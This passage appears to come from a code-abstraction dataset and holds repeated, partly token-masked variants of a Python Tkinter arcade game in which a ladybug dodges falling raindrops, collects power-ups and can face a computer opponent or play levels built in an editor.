or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\n<function token>\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\n<function token>\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef 